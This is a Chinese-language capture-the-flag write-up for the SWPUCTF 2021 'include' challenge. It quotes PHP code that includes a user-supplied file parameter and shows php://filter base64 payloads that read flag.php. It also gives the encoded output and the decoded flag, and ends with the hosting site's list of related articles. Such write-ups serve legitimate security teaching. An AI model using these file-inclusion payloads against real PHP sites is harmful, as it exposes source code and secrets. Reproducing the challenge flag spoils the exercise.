[SWPUCTF 2021 新生赛]include

简介: [SWPUCTF 2021 新生赛]include

一、打开题目环境

内容:传入一个file

url后跟英文?号进行拼接
?file
返回结果为:
<?php //开始
ini_set("allow_url_include","on"); //打开状态
header("Content-type: text/html; charset=utf-8"); //类型
error_reporting(0); //屏蔽所有报错信息
$file=$_GET['file']; //获取file变量的值
if(isset($file)){ //if判断语句 file变量的值存在继续向下执行
show_source(FILE); //对文件进行高亮显示
echo 'flag 在flag.php中'; //输出字符串内容
}else{ //反之
echo "传入一个file试试"; //输出字符串内容
}
echo ""; //输出字符串内容
echo ""; //输出字符串内容
echo ""; //输出字符串内容
echo ""; //输出字符串内容
echo ""; //输出字符串内容
include_once($file); //在脚本执行期间包含并运行指定文件
?> flag 在flag.php中 //结束

二、解题思路

这里差不多了,咱们只看题目中的标签就可以PHP伪协议

进行PHP伪协议伪造

伪造之前先了解,PHP伪协议构造的规则
php://filter/过滤器|过滤器/resource=待过滤的数据流
web中大部分都是BASE64编码格式,那么我们过滤器就用convert.base64-encode
构造后:
php://filter/convert.base64-encode/resource=flag.php
完整payload:

1. ?file=php://filter/convert.base64-encode/resource=flag.php
2. ?file=php://filter/read=convert.base64-encode/resource=flag.php

拆分解析:
?是起始符可以理解为连接拼接的意思
file是题目中给的变量
=是赋值的意思
php://filter是伪协议
convert转换,base64,encode编码
resource=flag.php转换到flag.php文件中,就是说把flag.php文件转换为base64编码格式。

三、开始解题 拿flag

上传payload:
URL/?file=php://filter/read=convert.base64-encode/resource=flag.php(payload 1或2 都可以,不必纠结)
返回结果:
PD9waHANCiRmbGFnPSdOU1NDVEZ7ZDA0ZGFiYWUtYWJmNi00M2NkLWJkODgtZmEzOTBhZjE1YmJkfSc7
结果为base64编码,用base64编码解码工具进行解码
这里推荐工具:https://c.runoob.com/front-end/693/
解码后的结果为:
<?php
$flag='NSSCTF{d04dabae-abf6-43cd-bd88-fa390af15bbd}';

拿到flag:

NSSCTF{d04dabae-abf6-43cd-bd88-fa390af15bbd}
目录
相关文章
|
JSON PHP 数据格式
[SWPUCTF 2021 新生赛]jicao
[SWPUCTF 2021 新生赛]jicao
691 0
|
SQL 弹性计算 关系型数据库
HTAP数据库 PostgreSQL 场景与性能测试之 3.1 - (OLAP) 大表JOIN统计查询-10亿 join 1亿 agg
标签 PostgreSQL , HTAP , OLTP , OLAP , 场景与性能测试 背景 PostgreSQL是一个历史悠久的数据库,历史可以追溯到1973年,最早由2014计算机图灵奖得主,关系数据库的鼻祖Michael_Stonebraker 操刀设计,PostgreSQL具备与Oracle类似的功能、性能、架构以及稳定性。 PostgreSQL社区的贡献者众多
2205 0
|
安全 物联网 Linux
带你读《物联网渗透测试》之三:固件分析与漏洞利用
本书介绍物联网渗透测试的原理和实用技术。主要内容包括IOT威胁建模、固件分析及漏洞利用、嵌入式web应用漏洞、IOT移动应用漏洞、IOT设备攻击、无线电入侵、固件安全和移动安全最佳实践、硬件保护以及IOT高级漏洞的利用与安全自动化。
|
Linux
BUU [安洵杯 2019]easy_web
BUU [安洵杯 2019]easy_web
244 0
|
12月前
|
缓存 Java API
API接口性能优化管理
在数字化时代,API性能优化对于提升软件效率和用户体验至关重要。本文介绍了多种优化方法:配置优化包括调整JVM参数等;代码层面减少重复调用并批量操作数据库;池化技术如线程池和HTTP连接池能有效利用资源;数据库优化通过索引提高查询速度;异步处理则使主流程业务不受阻塞;缓存策略如Redis缓存减少数据库访问;可观测性工具如日志平台和APM帮助监控性能。综合运用这些方法,可根据业务需求持续调整优化,显著提升API性能及用户体验。
|
安全 程序员 网络安全
网络安全那些梗
网络安全领域的梗往往以幽默、讽刺或夸张的方式反映了该领域的某些现象、挑战或误解。以下是一些网络安全相关的梗
401 4
[第五空间 2021]WebFTP-白猫
[第五空间 2021]WebFTP-白猫
411 0
|
存储 IDE 编译器
从零开始学C++:编程新手的入门指南
这篇文稿是C++入门指南,适合编程新手。内容涵盖了C++的基础知识,包括C++的概述(一种面向对象、高效且灵活的编程语言),编程环境的搭建(推荐使用IDE如Visual Studio或Code::Blocks),基础语法(变量、数据类型、控制结构和函数)以及面向对象编程基础(类、对象、继承和多态)。通过学习,初学者可逐步掌握C++编程技能,并鼓励进一步探索C++的高级特性。